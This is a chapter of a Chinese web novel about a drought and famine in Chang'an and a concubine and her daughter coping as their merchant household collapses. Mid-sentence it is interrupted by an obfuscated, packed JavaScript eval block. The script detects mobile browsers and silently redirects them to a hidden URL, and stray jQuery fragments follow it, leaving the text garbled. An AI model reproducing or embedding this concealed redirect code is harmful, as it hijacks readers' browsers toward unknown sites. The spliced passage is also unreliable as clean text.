九月中旬，烈日如火。


    “阿耀，近些天上学要注意些，尽量不要出书院。最近天气大旱，粮食颗粒无收，长安来了许多人。听到官府判案没有，有人烧杀抢率，恶事做尽。要防着些，知不知道？”


    七月中旬以来，长安陆陆续续有迁徙者，在城中乞讨为生。


    时日渐移，流民越来越多，扎堆一角，乞求吃食。饥饿蚕食人心，一起抢食案发生后，愈发勾动蠢蠢欲动的心，于是越来越多的人开始抢食，一哄而上又一哄而散，遍布各个街道。有头破血流者，重至人死，已有多人因此丧命。


    官府判了一起案件。


    起初，流民饥饿难耐，见野狗啄食尸体，几番挣扎后，于求生面前，弃了理智，成了吃人者。见者愈多，参与者愈多，分食不足以饱人腹，遂起害人之心。


    有人夜行，至偏僻处，见众人围着一具尸体，如饿虎扑食，大惊而遁逃。


    食人之事于是广为人知。


    官府贴了告示，广而告之：重罚食人者。


    人们惶恐，夜间闭门而不敢出，白日更不敢开店做生意，京中治安欲乱。流民更是强抢集市，制造慌乱。所幸官府出兵，加紧城中巡逻，治安才微微好转。


    十七站在告示前，拥挤在泱泱人群中。她不识字，委托围观者念了一遍告示内容。


    她愁容更盛。


    十七替乔耀整理着装，细心嘱咐道：“要跟着阿兄一起，平时呆在书院，等放学再回家，不要乱跑，不要让娘亲担心，知不知道？”


    乔耀背好书包，头顶帽子，乖乖点头。


    “去找阿兄上学吧。”


    他这才出门。


    十七带乔一去集市买菜，路上常见蓬头垢面、衣衫褴褛的流民堆积在破败的屋檐下，互相拥挤着，偏偏这片狭窄处，是他们少有的安身之所，忽有无力之感。


    她也经历过饥荒，知道饿肚子的滋味。父母在卖了她之后，过了几个年头，因饥饿而死在田里。


    乔一从未见过这样的场面，她紧紧抓住十七的衣服，害怕得不敢东张西望。


    十七拍拍她肩膀，所幸一路走来人很多，又因官兵巡逻，这些人只是像饿狼一样，以贪婪的眼神死死叮咬她们，那饥饿的目光让人发颤。


    十七拍拍乔一的肩膀。


    乔一紧张的心微微松懈，仍在紧绷着。


    集市上，十七挑了些蔬菜。


    “乔家娘子，只买这么些？不买点猪肉？”


    摊主吆喝，十七笑笑回绝。


    最近夫人给的银两很少，怕是买不起昂贵的肉类，她只能买些鸡蛋添点荤腥。这是限定消费里，最划算的食物了。


    乔一拎着菜篮子，乖乖等十七付钱。集市内有小摊贩，一些着儒服的读书人常坐在那儿评头论足，议论纷纷。


    他们集思广益，好似知道得更多。


    “怎么最近这么多流民？”


    “不止长安，很多城市，皆有流民奔波。今年大旱，尤其是西部地区，颗粒无收，平野尽是白骨堆叠，千里无鸡鸣。为求一线生机，这万里长途，兼之烈日曝晒，风尘仆仆，又算得了什么。”


    时闻叹息声。


    乔一正听人言。她窜梭街道，听老者奄奄之气，妇人啜泣，壮者嗟叹。


    茅草屋下，角角落落是人群，虚弱躺倒，或互相依偎。另有斑白老者手中执仗，又端破碗，蹒跚而行。


    乔一扯了扯十七的衣袖。


    十七顺着乔一的视线望过去，一名母亲抱着骨瘦如柴的孩子，一点一点喂着稀粥。吃完时，孩子眼神天真，蓄着泪水，弱弱喊：“饿……”


    母亲无力拢孩子入怀，头贴着她的额头。


    十七以手罩住乔一的眼睛，乔一眼前一片漆黑，她看不见了，只听得耳侧有安抚的声音，夹杂着无奈叹息：“不要看。”


    暮色渐移。


    乔家最近不安宁。


    乔军最近早出晚归，不跑远，总是在铺子和家之间往返。往年这个时候，他总要下江南进些绸缎，以填补铺子布匹的空缺。


    乔一更是常常听到夫人和乔军争吵的声音。


    夫人吵嚷：“我嫁给你我得了什么好处？你非要娶妾，对不起我！现在家里布匹卖不出去，都要穷得揭不开锅！你怎么这么没本事？”


    “没本事也罢！没本事就安安分分老老实实做事，养不起那么多人还非要纳妾，还非要买人，你看看你这个德行！”


    “够了！”乔军大喝。


    于是瞬间安静。


    寂静夜色下，风吹来了夫人的浅浅叹息。


    乔一不太懂发生了什么。


    她歪着脑袋，拿着扫帚，夫人恰好路过青石小道。她让路至一旁，夫人深深看了她一眼，转身而去。


    乔军晚回时，带着一身酒气。


    乔一隔老远，便见书童扶着摇摇晃晃的乔军，路都走不晚。


    夫人于是吵得更凶，厉声质问：


    “谁许你喝酒了？”


    “滚远点！喝酒别来烦我！”


    更重要的是，乔显提前回了家。


    夫人收拾好行囊，拉着乔显，芸儿背着包袱。三人站在乔家门口，夫人回眸，深深忘了一眼乔家，于是头也不回地离开。


    十七忙问：“夫人，您是要回娘家吗？何时再回来？”


    夫人道：“不回来了。”


    乔一抓住乔显的手：“阿兄，阿耀呢？他不和你一起回来么？”


    乔显道：“他在书院，年底会回来。”


    乔军昨夜醉酒，今早醒得迟，彼时夫人已走。这些天来，他憔悴许多，下巴胡茬疯长，眼窝深陷，是疲惫样。


    “夫人早上回了娘家，”十七擦了擦手，观察着乔军的脸色，不经意补充道，“她说不回来了。”


    乔军没有多少表示，只嗯嗯一声，兀自吃着早餐。


    他没有挽留的打算。


    乔军忽然停手，盯着十七看了眼。十七嫁给他时已十八，三年内生了乔一和乔耀。


    年纪虽小的她已饱经风霜，生活磋磨得没了一点脾气。随年纪渐长，她不仅没有多添憔悴感，反更有了成熟的风韵，更兼平和的温柔。


    十七被看得莫名其妙，心中发毛，十分不自在。


    她小心询问：“怎么？”


    “没事。”


    十七只觉奇奇怪怪。


    她伺候乔军用完早膳，收拾着退了下去。


    乔军盯着她的背影出神。


    乔军准备出门。方路过小道，便见乔一正在扫洒庭院。往常他总是匆匆而过，从来不会驻足，今日出于一些不知名的心思，他猝不及防停了下来。


    乔一察觉到他的动作，于是回首，直勾勾和乔军对视。


    她的瞳孔很黑、很亮，炯炯有神，可是盯着他时，又泛着死气，没有一丝的感情，冷冷的、蔑视的感觉，好像在睥睨一件死物。


    乔军触电般躲开。


    他竟然觉得害怕。


    “晦气。”


    他甩袖离去。


    夜色深深，乔军又是醉醺醺回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313294|167309||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来。乔一端着醒酒汤，陪十七一起去主屋照顾醉得不省人事的乔军。


    乔一把醒酒汤放在圆木桌上。


    十七就着水盆拧干手帕，替乔军擦了擦脸上的汗滴。


    乔军迷迷糊糊醒来，直直嚷道：“酒！我要喝酒！”


    十七柔声道：“等会儿来酒。”


    “一一，醒酒汤拿来。”


    乔一端上，十七喂给乔军喝。


    乔军拧了拧眉，一把甩开十七的手，瓷碗哐啷碎在地面上。乔军未醒，仍咂咂嘴，一直嚷着。


    乔一小心翼翼拾了碎瓷片，又拿过扫帚扫干净，免得割伤人。


    她帮不上忙，只看十七忙前忙后。


    家里忽然大变样，冷冷清清，又不安宁。


    关了门，十七携乔一回屋。


    乔一心情凝重：“娘亲，爹爹生意很不好吗？”


    十七想了想：“也许吧。爹爹近来总是愁眉苦脸，或是借酒消愁。今年收成不好，城中流亡的人太多，布匹卖不出去，积压太多货了。”


    最近乔家已经简餐而食，乔军给十七的月费很少，或是新月至，他更不提银钱的事。她只能越来越省着用，买一些蔫了吧唧的蔬菜；大米也省着，勉强才够四口人的饭。


    她摆饭时提了一嘴，乔军忽然大发脾气，一把掀飞桌子。


    哐啷——


    清脆的一声。


    十七吓愣原地，完全不知戳中了什么要害。


    她怔怔看着乔军，乔军大吼：“滚远点！”


    十七害怕，再也不敢提。可菜价越来越贵，米也越来越贵。乔家是存了些，到底也撑不了几个月啊。


    十七面露愁容。


    她纠结半晌，开始拾起以前的老本行，去绣坊接一些绣娘的活儿。现在绣帕卖不出去，绣娘的月俸也是大跳水，没多少钱。


    她要忙家务，照料乔家，刺绣的时间变少，产量也少，收入也是锐减；只能熬夜赶工，腾出更多时间来增加产量。


    油灯用不起，她只能就着月色，黑灯瞎火地看。白天再醒早些，挤压出更多的百日闲暇时光。


    “嘶。”


    指尖戳痛，十七倒吸一口凉气。


    她掐了指尖，摁回冒出的那滴血，回头看了眼床上的乔一，没反应，她微微松懈。


    她翻看绣布，还好没有沾血。


    十七这才彻底放松。她揉揉沉重而酸涩的眼睛，继续一针一线，慢慢绣着。


    乔一其实听到十七的声音，她侧着身，装作没听见。


    她闭上眼睛，试图沉入睡眠之种，奈何辗转反侧，眼睛闭了又睁，睁了又闭，始终没有睡意。


    她不知过去了多久。


    天还是很黑，娘亲还没睡。


    乔一陡然坐起身，掀起被子，光脚跑到窗户边。月色入户，披了一地白霜，十分亮堂。


    “娘亲。”


    乔一握住十七刺绣的手。


    十放下阵线，摸了摸她的头：“怎么还不睡？”


    “我睡不着。”乔一见十七双眼布满了红血丝，满是心疼，“我也可以帮娘亲刺绣，我可以学的。”


    “不是什么累活儿。”十七拍拍乔一的手，她才十岁，因做活较多，掌间生了茧，指腹处默着糙糙的触感，手背的关节处，皮肤更是叠了一层又一层。


    她忽然心酸，心中愧意顿生。


    是她没有能力，给不起孩子好的生活，还要让她忙上忙下。


    十七捏了捏她的手，当作安慰：“那娘亲陪你睡，好不好？”